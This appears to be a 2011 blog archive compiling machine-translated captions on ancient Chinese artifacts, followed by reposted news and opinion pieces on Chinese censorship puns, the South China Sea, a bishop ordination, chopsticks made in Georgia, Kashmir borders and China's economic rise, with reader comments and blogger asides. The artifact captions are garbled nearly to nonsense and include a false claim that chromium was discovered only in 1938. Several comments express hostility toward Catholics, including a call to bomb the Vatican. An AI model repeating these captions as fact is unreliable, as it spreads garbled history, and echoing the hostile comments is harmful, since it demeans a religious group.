The Eastern Jin Dynasty Grey Pottery Colored Drawing On Pottery Female Burial Puppet, In 1955 The Nanjing Granulated Substance Rocky Mountain Gravel Wind Was Unearthed, High 34.6 Centimeters, Era The 4th Century, Nanjing Natural Science Collection. Annnnd It Is Looks Like Eastern Jin Dynasty Nurse Kerchief.

High-Heeled Shoes

In The 14th Century: The Earliest High-Heeled Shoes From China, The Ming Dynasty For The Ming Dynasty, The New Shoes On The Sole With 4 cm To 5 cm High, With The Long Round With Silk Framed Up. Beijing Pointed Foot Cockatoos Ding Tombs Excavated High-Heeled Shoes, Production Is Very Exquisite. Beijing Ding Tombs Have Been Excavated Pointed Become Warped Cockatoos High Bottom Shoe, Shoes Long 12 cm, The Long 7 cm High, Width Of 5 cm High, 4.5 cm .

High-Heeled Shoes

Well-Preserved High-Heeled Shoes

Warring States Time's Leather Shoes .(475BC～221BC )

Really Thousands Year Fashion.

Silver First Person Of Burial Puppet Copper Lamp

The Warring States Period (475 BC-221 BC)
High 66.4 cm
1976 In HeBei Province PingShanXian ShanJi ZhongShanWang Burned The Tomb Unearthed
Institute Of Cultural Relics Hidden In HeBei Province

Attention Hairstyle And Back . . .

The Origin Of The Japanese Kimono .

This Is Japanese's Naked Plagiarism .

Attention Hairstyle , Ice Cream Style .

The Ming Dynasty Tank.

Because Could Not Find The Cultural Relic, Therefore Has Used A Film Photo. This "Tank" Is Also QiJiGuang Leaning Theater Box Vehicle Which Makes In The Setose Thistle State. In Its Foundation's CheQiYing Tank Unit, Is Simply Is Similar To The Present Armored Fighting Vehicle Army: Che Unit Officers And Soldiers 3100, Buddha Bright Aerial Cannon 256,General Gun (Heavy Large-Caliber Gun) 8; Each CheYing Unit Has Combat Tank 128, Each Combat Tank Has Frank 2, The Bird Blunderbuss 4 Poles, The Rocket 4 People, Average Every 12 Soldiers Equips An Artillery, The Pre-Combat Time Flintlock Takes Turns To Fire May Not Stop All Day Long; Rides The Camp To Arrange The Officers And Soldiers Approximately 2700, The Equipment Has 60 Tigers To Squat The Artillery.

These Are Unable The Ancient Invention Which Explained With The General Knowledge!(1600BC—1046BC)
Shang Dynasty FuHao Grave Unearthed Trigeminy Joint YAN , Similar Present's Gas Burner. Unique Compound Cooking Utensils!

The Barbecue Grill Commonly Used Utensils.

1994-1995 Mt. ShiZiShan Chu King Grave Unearthed The 2nd Century B.C. High 16, Caliber 45.4 Centimeter The Copper Oven Circular, The Even Bath, The Flat Base, Abdomen Decorated With Four Beast Recompensed The Base Plate Of Old-Style Chinese Doorknocker, Lower Part Had Three Beastly Hoof Foot .

The Ming Dynasty Brushes.

It Is Looks Like Present's Pen .

Tattoos Tube

The Archaeologists The Treasured Sword Which Unearths In Qinshihuang Ling, Its Sword To The Present Sharp Incomparable, The Reason Was Above The Sword Front Has Covered Chromium, Sounded Not To Calculate Mysteriously, But Western Has Only Then Discovered The Chromium Until 1938!

The Three Kingdoms Era's Celadon Lunch Box . (AD220-280)

The Eastern Han Dynasty Glazed Pottery Grill . (AD25～220)

The Searching For Pearls Personnel, Have The Oxygen Mask To Have The Diver's Suit, The Picture Originate In The 17th Century The Process Of China Encyclopedia - "TianGongKaiWu / Heavenly Creations ".(AD1637)

Ancient Textile Technology Superb Today We Can Hardly Imagine That Han Dynasty MaWangDui's Famous Could Fit Into Matchbox's Gauze Clothes .

Qin Dynasty Duck Shape Lacquerware Spoon .(221BC－206BC)

The Warring States Period Refrigerator - - 1978 Unearthed Two Warring States ZengHouYi ChuMu Ice Cauldron . (475BC～221BC )

The Ming Dynasty Refrigerator. The Warring States Ice Cauldron Evolves Present's Appearance.

Mickey Mouse Hairstyle , And This Hand Gesture Looks Like Wonder Girls And "NOBODY" ....

Chinese Censorship: Fǎ Kè Yóu, River Crab

2011-06-22T23:19:00.001+08:00

http://www.economist.com/blogs/prospero/2011/06/chinese-censorship

Chinese Censorship: Fǎ Kè Yóu, River Crab

Jun 7th 2011, 16:54 by R.L.G. | NEW YORK

"THE Travelogue of Dr Brain Damages", a show of Kenneth "Tin-Kin" Hung's artwork, opened recently in Manhattan. Mr Hung's garish and busy large paintings feature images of Mao Zedong, Deng Xiaoping and other Chinese leaders juxtaposed with icons of Western culture, such as Marilyn Monroe and the Mario Brothers (of Nintendo fame). These pieces are arresting, and I wish Mr Hung success, but most Western viewers will fail to understand some of the games the artist is playing. His work depends heavily on Chinese puns about internet censorship.

The Chinese have played with homophones and near homophones (usually differing only by a tone) for a long time. (They're a staple at the Chinese New Year.) More recently, this feature of Chinese has been particularly useful for evading the censors. When the authorities banned the phrase cào nǐ mā, or "fuck your mother", from the Chinese internet, in the name of combating vulgarity, the Chinese were quick to coin an internet hero, the Grass Mud Horse, whose name is a near homophone: Cǎo Ní Mǎ. Maorilyn Maoroe can be seen with him above. He is an opponent of the River Crab, a pun on "harmonious", the official description of the society censorship is meant to promote.

The Grass Mud Horse is just one of ten mythical creatures all designed to talk about naughty stuff through puns. Mr Hung includes a painting of another of them, the great French-Croatian Squid, whose Chinese name requires a little English to get the pun. He is Fǎ Kè Yóu, and wears a Mao jacket while blowing an inflationary bubble with chewing gum. (The vowel in ke is a sort of "uh" sound, so this sounds roughly like "fah-kuh you".) Perhaps my favourite character, for the absurdity of his English name, is Intelligent Fragrant Chicken, which is one tone off from dǎ fēi jī, slang for masturbation.

The Chinese writing system is hugely difficult, so much so that Chinese natives struggle to write even common words. It is also so difficult for foreigners to learn that it probably constrains its spread as a world language. Defenders of Chinese writing say that the characters are needed to disentangle the many homophones in the language, but of course Chinese people speak (homophones and all) without too much trouble, and without the aid of characters. The real reason to keep the Chinese characters is the cultural and aesthetic value they store for China.

Typically this has meant a very traditional kind of "value"—connection with the past, and with the nation. But Mr Hung's work shows the plasticity of all symbols. He notes that for China's ageing one-child children, the internet has become an essential part of life—more central, in fact, than for your average Western member of Generation Y. It's going to take more than an imposing River Crab to keep them from enjoying Intelligent Fragrant Chicken, or from exclaiming the odd Grass Mud Horse out of frustration.

"The Travelogue of Dr Brain Damages" is on view at Postmasters Gallery in New York until July 2nd

*************Comment**************

LaContra

....before reading this I thought I didn't understand the Chinese.

Ashbird

Sorry. Mr. Hung's sensibility is like fish sauce to me. And please, this is Mr. Hung, not all things Chinese. Sigh...

Booth113

Grass Mud Horse... AWESOME

Ashbird

I do not possess a level of knowledge on the subject that properly qualifies me to be a decent expert. I speak here as someone who speaks and writes Chinese as a native language.

The Chinese written character is made up of "components". Each component can be an entire character itself, or it can be one, two, or more of the root components that form a character.

If you grew up with the language, you don't "struggle" with learning to write the characters, as the present article suggests, any more than you struggle to memorize the rules on conjugations and declensions of gender, tense, case, mood, mode, and on top of all that a different preposition for every noun and verb. None of those things are on the "to learn" list when you learn Chinese. All you have to learn are the characters in their written and spoken forms.

In spoken form, the characters can get tricky, as not only do you have to learn their sound, you have their tone. Quite often the differentiations in tones are so fine they are indistinguishable, although I read Pavarotti had no trouble on the occasion when he performed Turandot in Beijing and learned a few lines in a Chinese Opera for sport.

An example of a character formed by two components is "goal". It consists of the component "point to", and the component "heart ". So a "goal" is "where the heart points to".

Thus it is a very efficient language in the sense that a 5-year old learning to write the character "goal" will simultaneously learn the meaning of "goal".

And so it goes for thousands of characters.

In the course of the evolution of the written form, some of the root components have become highly stylized for esthetic reasons, and in the Communist Regime's effort to simplify the characters, many have become hard to trace to their classic form.

Thus on the present subject of Chinese puns, imagine the word play between and among literally thousands of words that sound the same or almost the same but are different words altogether in the written form. And add the regional dialects, each of which has its unique identifying accents quite different from all the rest , not unlike, for example, the "Appalachia accent" or "Maine accent" in USA . You have an inexhaustible gold mine for punning humor, which Chinese delight in.

All said, there is a standard of taste. There is refinement and crassness in all cultures and all languages. One needs to have enough sense and taste to be able to tell what are 5 cents trinkets belonging to a tourist shop and what are not. But if you are like me when I first arrived in America, I couldn't when it came to all things American.

As Booth113 said: AWESOME

A7d6SyKkcM

Is The Economist (print/online) censored in China?

dingy78

What I can say about the two paintings are "Ugly and Insane"! What a distorted character the painter can have?

LaContra

"Is The Economist (print/online) censored in China?"

Shhhh!

You're not allowed to ask that.

Rinngu

I nearly laughed to death by reading this..As a chinese, this is the first time I read from an article in other languages on these insider's jokes..GJ!!

eQpkJiNM25

Interesting,seriously and luckly economist(print/online)isn't censored in China.And I have to say that this blog is really a little embarassed

Dian Cecht

It is so nice to see an emperor like Mao having the mickey taken, by such a genius as Mr.Hung. I wish I could write Chinese characters to honour Hung as he deserves. Chinese, a wonderful script and a wonderful people.

Justlistenall

The Economist is not censored in China, but I don't think it is much respected because of its much slanted and biased views.

Nothing wrong there, the Economist typically presents Western views of the world, particularly the British view of things, as it supposed to be.

Thischarmingmatt

I'd loved this article and will recommend it to all my friends.

Garaboncias

Faux King Fun Knee

Robert North

Now THIS is ART!!!

Toytony

Hey! Who says Chinese lack imagination?

milonguero139

Sad to see that the first thing that comes to the little minds at The Economist when discussing the joys of Chinese puns is "censorship"... This is keeping in with TE's task of doing its puny little best to destabilize China. You gentlemen are funny, but not for the reason you think you are. Keep it up, your credibility in China must be below negative.

Strictly speaking

The Economist online is only censored very rarely in China, but it does happen. E.g. Tibetan riots in March 2008 saw blockage of anything related to that story at the time.

Print censorship is a bit more common, but still fairly low-key. At some outlets (e.g. airports) you will occasionally find pages torn out if they contain unflattering articles on China. Recently I also noticed a pretty childish use of black marker to block out the name "Taiwan" on a map of East Asia on one of pages. You just roll your eyes and read on...

greg ole

Hilarious story. Just wanted to confirm that The Economist absolutely IS censored in Mainland China. This is usually done by the crude method of tearing pages out of the magazine related to China sometime before it heads to store shelves. This is even true in the most developed areas of Pudong, in Shanghai, where I have lived. You may be able to bypass the censors with a personal subscription to The Economist - I have read uncensored versions in the libraries of schools with a subscription - but it can sometimes be impossible to find an uncensored version in store shelves.

Salkagga

"The real reason to keep the Chinese characters is the cultural and aesthetic value they store for China."

this can't be. i can read chinese, as a westerner, but pinyin - which is probably the best alphabetic system you could come up with for writing chinese language - is good only for describing the pronunciation of the national dialect. reading a long text only in pinyin is really painful, because you're constantly disambiguating homophones. i don't know if anyone could get used to it.

and, like i said, it's just the national dialect, the putonghua. pinyin doesn't describe local dialects at all, while the chinese writing system is intelligible whatever dialect you speak. forcing an alphabetic writing system on china would probably destroy the profligacy of local dialects that is a part of chinese culture, if it could succeed at all.

Tang Yuan

This art says more about the Generation Y artist (and the unfortunate social-networking addicts like him) than about Pokemon or Mao.

The internet has levelled the playing field for the provision of information. Never before has it been equally easy to learn about your friend's LOLcats,, natural disasters, revolutions, dinner and global leadership scandals. Unfortunately, it appears that Generation Y (and the artist in question) is using this levelled media-playing field as a primary source of information on current affairs.

The result is a dangerous misconception that because topics as diverse as The Cultural Revolution, Justin Bieber, your friend's drunken night out and adverts for Pokémon are awarded equal Facebook space (or equal Twitter characters) that they're on the same level intellectually and in terms of importance. They're not. Generation Y, including this artist, is using this aspect of the "generational gap" to rebel against their elders (usually under the guises of "Internet freedom", "freedom of speech" or "democracy").

Newspapers, books, word of mouth, radio and even TV allow editors to emphasise what they believe is important. Social networking damages youths because it treats big and small with equal importance (degrading Mao and giving rise to infamous LOLcats).

1201

"Defenders of Chinese writing say that the characters are needed to disentangle the many homophones in the language, but of course Chinese people speak (homophones and all) without too much trouble, and without the aid of characters. The real reason to keep the Chinese characters is the cultural and aesthetic value they store for China"

A language is not only there to be spoken. It is there to be read and written too. It is probably possible to abandon the character system if Chinese language is to be spoken only. If total Romanization is applied, the Chinese text will be really hard to read. Maybe it is still readable, but with much more difficulty. Also keep in mind that oral conversation is always simple and usually don't have complicated logic. Thus the fact that Chinese people speak Chinese without the aid of characters really doesn't imply it will be the case for reading.

Having two systems (pronunciation and characters) is always regarded to be redundant for many Chinese learners as a second language. It might never occur to a Chinese if he or she never learns a foreign language, such as English, because it is so natural for them that a language has two systems. I have to admit, to some degree, this duality really creates a steep learning curve even for native speakers. But on the other hand, it really shows this is a very clever device for information efficiency. If you have ever read any slides, posters or books, you might have realized that a graph, diagram or table makes you understand something 100 times easier than reading the text no matter how elegant the language is. I know this is a bad analogy but Chinese characters serve this function. While other languages are slaves to the somewhat convenient "what you say is what you write" principle, the Chinese characters bear only partial or very little information about the pronunciation. In contrast, the Chinese characters carry more semantic and graphical information and these informations (strokes and parts) are organized in a 2D fashion (while English words for example is composed of letters which are organized in a 1D fashion).

There are more to go. But I will stop here. I will not say Chinese language is perfect and maybe it is far from perfect and not as good as English or other language in certain aspects. But I would think statements quoted above really lacks some true and deep understanding of the Chinese language. Don't say it is bad just because it does not "make sense" in your mind set or view of the world.

Veritatem Cognoscere

I agree with your statement that pinyin can be convenient for short phrases and such but it would seem unbearable to read from, say, a newspaper or a book.

Yes, the Economist is blocked from China, I had to use a proxy server to bypass the great firewall of China to get my Economist fix.
But I'd recommend some readers to take some mandarin. It makes this go from amuse/bemusing to absolutely fabulous hilarity.
Ashbird

Tang Yuan,

Thank you for a great post.

Generation Y is also the breeding ground for a reverse xenophobia that is forming in the Western psyche, if what is gleaned from TE posts and comments represents a cross-section of that psyche. "Reverse" because it was China who was the practitioner of xenophobia in the 19th and early 20th century, when the object of the phobia was the West.

Most "Western" media rely heavily on information from and about the Y generation, using what is available on the Internet. That is fine. The Internet is one of many good sources. Taking what comes from a single source as the sum total of all things happening in China, however, is a mistake. A bit of irony here is some in the Y generation do not even know to write Chinese characters very well, their need to learn having been hijacked by the ease of use of "pin-yin" alphabets on the computer keyboard.

Xenophobia is self-defeating to whoever who practices it. One would expect this phenomenon has gone out of style after WWII. Amazingly it hasn't. The change that has seemingly occurred is the chairs have reversed as the music continues.

At the end of the Qing Dynasty, China was a country in ruins. Contributing to the ruins was a national attitude of self-corrosive ignorance. The slogan was: "All things foreign are bad. Down with foreign devils". The foreign devils didn't go down. It did.

Now it appears China gets to gloat as the West adopts its historical mistake.

Kinsbabe

this is another article that contradict with what some people said about "Mao is an idol of Chinese" or "People will be arrested because of the negative comment on the government", its far not that serious as what western media said about "Chinese political tension". In China, everyone can comment freely about Mao or about the current "harmonious" concept Chinese government promote. They even make jokes about it!!!

BearStearns

It's impossible to completely understand a text if Chinese were "romanized". Here's an example:

石室诗士施氏，嗜狮，誓食十狮。施氏时时适市视狮。十时，适十狮适市。是时，适施氏适市。氏视是十狮，恃矢势，使是十狮逝世。氏拾是十狮尸，适石室。石室湿，氏使侍拭石室。石室拭，氏始试食是十狮尸。食时，始识是十狮尸，实十石狮尸。试释是事。

In pinyin:

Shi shi shi shi shi shi, shi shi, shi shi shi shi. Shi shi shi shi shi shi shi shi. Shi shi, shi shi shi shi shi. Shi shi, shi shi shi shi shi.It's impossible to completely understand a text if Chinese were "romanized".

This is a story about a man who loves to eat lions. One day he captured 10 lions at the market and when he tried to eat them he found out they're all made of stones.

Now how do you read/understand that without characters?

And BTW, online version not censored at all here. No proxy required.

yBhJMLgQ9X

The Chinese govt may agree with the writer about "arresting" pieces with their "Fǎ Kè Yóu" attitudes, and it may not be a "Hung" jury! But really nice to learn of the irreverence prevalent amongst the Chinese.

Will@Moor

@toytony

Chinese don't lack imagination, neither humour. Chinese only have imagination and humour that others don't understand.

Once I tried to translate many jokes from Chinese to French, and then I told to my friends. They only got a few of them.

And I gave up.

B.T.W.,these two "paintings" are really ugly.

DocQ

Baidu 10 Mythical Creatures

From Wikipedia, the free encyclopedia

1,Cao Ni Ma
2,Fa Ke You
3,Ya Mie Die
4,Ju Hua Can
5,Chun Ge
6,Ji Ba Mao
7,Wei Shen Jing
8,Yin Dao Yan
9,Da Fei Ji
10,Qian Lie Xie

bigtisas

Mr. Hung's art is stupid and playing with homephone is so childish. Come on. Economist, please don't promote stupidity on your magazine.

Garaboncias

@ bigtisas

Wee Knot Stew Pit. Yew More On.

Manipulation

Fǎ Kè Yóu just mean fuck you, none of the great French-Croatian Squid's business.

*******************************************************************

HongTianJian/Tin-Kin Hung Is Not A Good Man, But The Dollars Also Sooo Easy To Cheat.

Vietnam 'Upsets' Chinese Public

2011-06-21T23:25:00.001+08:00

http://www.globaltimes.cn/NEWS/tabid/99/articleType/ArticleView/articleId/662464/Vietnam-upsets-Chinese-public.aspx

A Chinese analyst said Monday that Vietnam's actions in the South China Sea had upset the Chinese people.
According to an online survey conducted Monday by the Global Poll Center under the Global Times, nearly 86 percent of more than 13,000 respondents cited negative feelings toward Vietnam concerning the South China Sea.

Zhuang Guotu, director of Southeast Asian Studies at Xiamen University, told the Global Times that the issue is driving a wedge between people in China and Vietnam.

However, Chinese people need to show restraint, since maintaining good relations with neighbors is in China's interest, he said, adding that Vietnam needs to actively ease tensions and respect the Declaration of Conduct of Parties in the South China Sea.

Vietnam and China have held separate live-fire military exercises in the area after Hanoi accused Chinese ships of ramming one oil survey ship.

Monday, Singapore called on China to clarify its territorial claims in the South China Sea, saying Beijing's "ambiguity" was causing international concern.

In a statement, Singapore's foreign ministry said, "We think it is in China's own interests to clarify its claims in the South China Sea with more precision as the current ambiguity as to their extent has caused serious concerns in the international maritime community," AFP reported Monday.

It added that Singapore does not have various territorial claims in the South China Sea, but "as a major trading nation, it has a critical interest in anything affecting freedom of navigation in all international sea lanes, including those in the area."

Zhuang said that Singapore's declaration showed that it sided with the US on the issue, aiming to guarantee its freedom of navigation in the South China Sea. As an external force bearing on the Association of Southeast Asian Nations (ASEAN), the US aims to balance China's influence in the Asia-Pacific region.

Singapore hopes to represent ASEAN and wants China to recognize it as a regional leader. These tensions brought an opportunity for Singapore to achieve this purpose, added Zhuang.

Singapore's statement came after a series of anti-China protests in Vietnam and live-fire drills by the Vietnamese navy last week.
However, China has made it clear that it has indisputable sovereignty over the Nansha Islands and Xisha Islands and their adjacent waters in the South China Sea.

Singapore realizes that China's good relationships with other ASEAN nations will negatively impact Singapore's standing, and so it will not stop others from countering China's influence, Zhuang told the Global Times.

China To Name Bishop Without Pope Approval

2011-06-10T16:21:00.001+08:00

http://news.yahoo.com/s/ap/20110602/ap_on_re_as/as_china_vatican

Report: China To Name Bishop Without Pope Approval

By LOUISE WATT, Associated Press Louise Watt, Associated Press – Thu Jun 2, 4:26 am ET

BEIJING – China's government-controlled Catholic church is preparing to ordain a new bishop, and the leading candidate is a priest who lacks the Vatican's backing, potentially adding fuel to a long-running feud between Beijing and the Holy See.

China doesn't have any diplomatic ties with the Vatican, and the communist government has long disputed the Holy See's insistence that it has the sole right to appoint Catholic bishops. The Chinese church ordained another bishop without the pope's approval in November, which the Vatican later called a "grave wound" to the faith.

Ucanews.com, a news service that covers the Catholic church in Asia, reported Wednesday that the Rev. Joseph Shen Guo'an is expected to be ordained next Thursday in Wuhan diocese in central China.

Liu Bainian, honorary president of the Chinese Catholic Patriotic Association, the state-controlled group that runs China's Catholic churches, would not confirm that Shen would become bishop. But he said that the Wuhan diocese has been without a bishop for many years and that Shen has been in charge in the interim.

"He's been elected one of the candidates for the bishop of the diocese and has been preparing for becoming the bishop," Liu told The Associated Press.

"Now that the conditions for having a bishop in the Wuhan diocese are overdue, there should be an ordination," he said. "We hope that the Vatican will agree. And we believe that the people's voice is actually God's voice. The Vatican should show their love and agree on the ordination. Then there would be no tension between them and China."

Anthony Lam, a researcher at the Roman Catholic church-affiliated Holy Spirit Study Center in Hong Kong, said papal approval has not been given for Shen to be ordained.

"Nobody knows if he will get approved in the future," he said. "This kind of consecration causes difficulty to everybody and gives no benefit to anybody."

China forced its Roman Catholics to cut ties with the Vatican in 1951, and worship is allowed only in state-backed churches, although millions of Chinese belong to unofficial congregations loyal to Rome.

In recent years, under Pope Benedict XVI, relations have improved. Disputes over appointments in China's official church have been avoided by quietly conferring on candidates, leading to several ordinations of bishops with the Holy See's blessing.

However, Guo Jincai was ordained as bishop of northern Chengde city in November without the pope's approval, the last appointment that the Vatican disputed.

Ucanews.com said that Chinese officials are pressuring bishops to take part in next week's ordination, citing anonymous local sources. Liu denied there was pressure.

Lam said the "government forced other bishops to attend the ceremony" at which Guo was ordained. "I don't know if this is happening this time. It's possible," he said.

* * * Below Is Some Comments * * *

BoJangles
What's the Pope gonna do? Invade China!

FrankW
What happen to the Church of England, Is it approved by Pope? Who cares. They do for their own purpose.

j m
If the pope is the Holy See, he should see it coming.

Michael
I think that the Catholic religion has a flaw in its system that will destroy its self in time.
we have a problem with a Catholic Priest from HELL, there is a good Priest and a very mean bad Priest and the Archbishop of Cebu Philippine must decide what Priests Honor and respect, this is going to be interesting.

CeeCee
The evil pope knows NOTHING about Christ. The pope's & priests' behavior
reflect Satan, not Christ. Christ would NEVER condone pedophilia !!!!

Dragon Eat Bear And Eagle
the chinese dont need anymore child molesters. if the chinese catholics dont like it, they should all immigrate to italy to be closer to his holiness

Robert
China views this as a political assignment.

Justice Bao
This only means that the vatican will not help and support when it comes to hanky panky business with little boys. "although millions of Chinese belong to unofficial congregations loyal to Rome." - loyalty to Rome???? People should only be loyal to their own country.

The Divine Immortal
With the history of the catholic church , not to mention recent and ongoing weirdness , who can blame China for being involved ?

James Bond
death to the evil catholic church

Walter M
the idea of the state run china Catholic church is so sad and lame as to be funny. organized religions confuse me anyhow. the Catholics in china are quite brave to choose to show their devotion to Christ in such an atmosphere.

Loplanescram
Da Pope is gonna be Pissed !!

Li
Why do I get the feeling that Chinese bishops have more undisclosed access to financial gain than their international counterparts?

John Samuel Anderson
WHO CARE'S?? I mean, we don't acknowledge the authority of those people who call themselves bishop or popes and whatsoever. They only assign themselves whatever they want and blind people will acknowledge it. Any person can say "i have a dream last night and i had a nice chat with god" and he will be a pope or any other kind of being higher and holier than common people. OH COME ON!.

BirdWatcher
Religions = Lies

All Hail God Or Die
Thumbs up for Chuck Norris as the new bishop!

CeeCee
It's hard to believe that people still follow the evil popes. All that garbage and they absolutely will not believe it. Satan has a tight grip on them.

NotA2Nddime
Is the Chinese version of a Catholic Bishop contaminated with toxic substances? If yes maybe he can be recalled?

Paul King
One of Italy's most prominent Catholic cardinals and a former minister have been put under investigation as a corruption scandal that has tainted the government spread to touch the Vatican.

ASU
The Pope is a dictator too. Have you got any chance to elect a Pope?

KingKong
Western religion is more like an excuse to invade another country, same old. Roman Empire, eliminating the Jews during WWII, French used this religion as an excuse to invade Vietnam, Protestant landed on America, and today try to suppress Muslim. Christian science monitor, a mouthpiece of the west, not about religion or science.

You
Neither the pope nor the vatican own the religion.

Buckethead
The pope and the chinese are just alike. They both deserve each other. Rotten disgusting dictators in control of stupid people.

Zwicker Eric
......i just elected a monkey as god..................WHATEVER

Burrito
China should choose a Shaolin monk as Catholic head.

Stephen
one fake god on earth is just about as good as another, pope , joseph smith and so on it doesn't really matter.

KKKTeaPartyRepublican
I guess if the Germanic Lutheran and the English Anglicans make thier own version of Christianity so can the Chinese!!!

Eagle
all religious should be banned, nothing good comes from any religion, it's all nonsense.
Religious = Weapons of Mass Destruction !!!!!

Citizenoftheworld
Where was your God when priests were molesting these innocent children? Yet you idiots still go to church and believe in a god that condones such as this.

MC
well if the bishops turn out to be pedophiles then the pope can claim that it wasn't the vatican's doing

CeeCee
Please quit blaming God for the things Satan is doing.

j m
China will ordain bishop of its choosing so vatican is smart to agree in advance so it can also claim its approval.

Zippcodey
The Papacy and Vatican are a government using religion to gain world power using the armies of other countries to do their bidding. I'd kick them all out of every country, then drop a bomb on the Vatican.

Import Irony: China Buys Its Chopsticks From A Small Georgia Town

2011-06-08T20:44:00.001+08:00

http://newsfeed.time.com/2011/06/04/import-irony-china-buys-its-chopsticks-from-a-small-georgia-town/

Import Irony: China Buys Its Chopsticks From A Small Georgia Town

By: Nick Carbone

Topics: america, americus, China, chopsticks, eating, factory, Food, georgia, Manufacturing, nation, production, us

Getty Images

It seems everything we buy these days says "Made in China." But millions of the Asian nation's iconic chopsticks are proudly made in the U.S.A.

Two hours south of Atlanta lies the source of millions of Chinese chopsticks. Who would have thought? It's hard to imagine a place more quintessentially red, white and blue – the town, nestled firmly in the heartland of Georgia, is called Americus.

(PHOTOS: Portraits of Chinese Workers)

And their luck runs as deep as their love for country: Americus has the ideal type of wood for making chopsticks. The abundant forests of poplar and sweet gum trees in the area strike the perfect balance between hardness and softness, making a comfortable yet sturdy eating utensil for many across the world.

What's more, the region is no stranger to wood harvesting, with pine manufacturers and paper corporations – think Georgia-Pacific – helping to ease the industry's barriers to entry. Jae Lee created Georgia Chopsticks in November and is already producing 2 million chopsticks each day. They're selling their craft primarily to Chinese supermarkets but also are helping hungry people in Japan, Korea and the U.S.

Lee has seen a huge increase in demand over the past few months as the Chinese look to America – and specifically, Americus – for a product so natively associated with their culture.

(PHOTOS: China's Extraordinary Buildings)

Read Other Related Stories About This:

Chinese Chopsticks: Made in Americus (Pat's Papers)

---*************************************************---

Well,Good Job And Go On! America Know Itself Finally ...

HeHe, Only Chopsticks As Latin Country, Really Irony ...

Indian, Pakistani And Chinese Border Disputes

2011-05-26T16:57:00.001+08:00

http://www.economist.com/blogs/dailychart/2011/05/indian_pakistani_and_chinese_border_disputes

Fantasy Frontiers

May 18th 2011, 12:25 by The Economist online

Disputed borders are both a cause and a symptom of tensions between big neighbours in South Asia. When the colonial power, Britain, withdrew from India it left a dangerous legacy of carelessly or arbitrarily drawn borders. Tensions between India and China flare on occasion, especially along India's far north-eastern border, along the state of Arunachal Pradesh. In recent years Chinese officials have taken to calling part of the same area "South Tibet", to Indian fury, as that seems to imply a Chinese claim to the territory. A failure to agree the precise border, and then to demarcate it, ensures that future disagreements may flare again.

Pakistan, too, is beset by difficult borders. Afghanistan, to the north, has long been a hostile neighbour. This is largely because Afghanistan refuses to recognise the frontier—known as the Durand line—between the countries, drawn by the British.

Most contentious of all, however, are the borders in Kashmir, where Pakistan, India and China all have competing claims. By the time of independence, in 1947, it was clear that many Indian Muslims were determined to break off from Hindu-majority India. It fell to a British civil servant, who knew nothing of the region, to draw a line of partition between territory that would become Pakistan and India. Pakistan was given Muslim dominated areas in the far north west, plus territory in the east (which itself got independence as Bangladesh in 1971). The rulers of some disputed areas, notably Kashmir, were told to choose which country to join.

While Kashmir's Hindu rulers prevaricated, hoping somehow to become an independent country, Pakistan's leaders decided to force the issue. Since Kashmir was (and is) a Muslim majority territory, Pakistan felt justified in seeing Pushtun warlords charge in from the north-west of Pakistan, late in 1947, to seize control of Kashmir. In response India, apparently invited by Kashmir's rulers, deployed its national army and stopped the invaders taking Srinagar, Kashmir's capital, located in the Kashmir valley, the most coveted part of the territory. The resulting line of control, by and large, remains the de-facto international frontier within Kashmir and, in effect, is accepted by Paksitan and India. Huge numbers of Indian and Pakistani soldiers remain in Kashmir today as both countries profess to be the rightful authority for the rest of Kashmir.

Complicating matters, China has also extended its influence, and control, over portions of Kashmir, largely with the support of Pakistan, an ally.

The interactive map above allows you to view the various territorial claims from each country's perspective.

**********************************************

About Kashmir,From 1842 Until Today,The China All Previous Government Never Recognised That Ladakh Belongs To British-India .

China And America: Rising Dragon, Bleeding Eagle

2011-05-26T00:30:00.001+08:00

http://www.americanthinker.com/2011/05/china_and_america_rising_drago.html

American Thinker:China And America: Rising Dragon, Bleeding Eagle

By Anurag Maheshwari

China's return as a superpower concomitant with rapid American decline is evoking a variety of sentiments around the world. While Latin America, Africa, and Greater Middle-East are largely welcoming this shift in power with varying degrees of enthusiasm, and an aging and dissipated Europe is watching it with bemused anxiety, in America it is causing an epic dilemma.

This dilemma is rooted in the impending demise of America's reign as the world's leading economy for last 120 years, the titanic scale and speed of China's ascendancy, and the vistas and vulnerabilities of Sino-American security and economic intercourse. The international repercussions of this evolving strategic equilibrium are yet to fully unravel until China attains the highest plateau of its power.

To put it in context, consider how rapidly the balance of power between China and America has altered over the last 20 years. At the end of 1991 when Soviet Union had formally dissolved, United States stood as the sole colossus on global stage. Its economy was then 6 times that of China. In 2010, China's continental economy was 70% that of US, and by 2016 -- in 5 years -- China (including Hong Kong and Macau) will rush past United States to become the leading economic power.

According to Robert Fogel, the Nobel Laureate in Economics, by 2040 China's economy will be $123 Trillion, three times US, as its per capita income gap with US shrinks rapidly. Even at the peak of its power during early 1970s, Soviet Union's economy was only 44% that of US. For China, a leading 4000 years old civilization, this complete reversal of relative fortunes in 50 years is nothing but a moment of rebirth towards reclaiming the historic leadership of Asia from the Atlantic powers.

Today, China is producing almost half of world's steel and cement for its massive construction projects, a sign of supreme industrial strength. She brushed aside Germany to become the leading exporter in 2009 and last year toppled America to seize the gold medal in manufacturing. In 4 years China will belt itself with 13,000 km of high-tech bullet trains, almost twice that of Europe and Japan combined, criss-crossing its vast expanse.

Everything the eagle did, the dragon will do on a scale several times larger and perhaps a bit faster, whether it is in the communications, transportation, energy, or aerospace sector. At ~$3 Trillion, China has the world's largest forex reserves which it uses to finance acquisitions of energy and mineral resources across the globe. Tragically, if we are to believe official US Treasury data, China is also the largest foreign creditor to the voracious US government, doling out almost $1.3 Trillion to feed Washington DC's cancerous growth.

The scale of demographic asymmetry between China and America is even more staggering. In last the 50 years, the US added 130 million people, whereas China added 680 million -- equal to the entire population of Europe. During last decade, US added 4 million babies per year on average, compared to 19 million per year for China. Quite simply, China is giving birth to one Canada and Australia every three years.

Despite 33 years since the official declaration of one child policy, 1.35 billion Chinese still sustain a birth rate of 1.7-1.8 children per woman -- almost 80% over the stated goal -- compared to 2 children per woman for 310 million Americans. This policy versus reality gap of 0.7-0.8 children per woman and massive over-population often escapes the international media's persistent and hysterical alarmism over China's one-child-policy and aging. [1]

From 2010 to 2030 the vast Chinese labor pool of ~1 billion working age adults (15-65 years) will drive China's enormous expansion and global resource consumption. Today, the median age for both US and China is evenly matched at ~36 years. The life expectancy for Chinese is ~74 years compared to ~79 years for Americans. It is hard to imagine that by 2030 the proud average Chinese will not live longer and healthier than the sexually liberated, drugs, television, and fast foods saturated American.

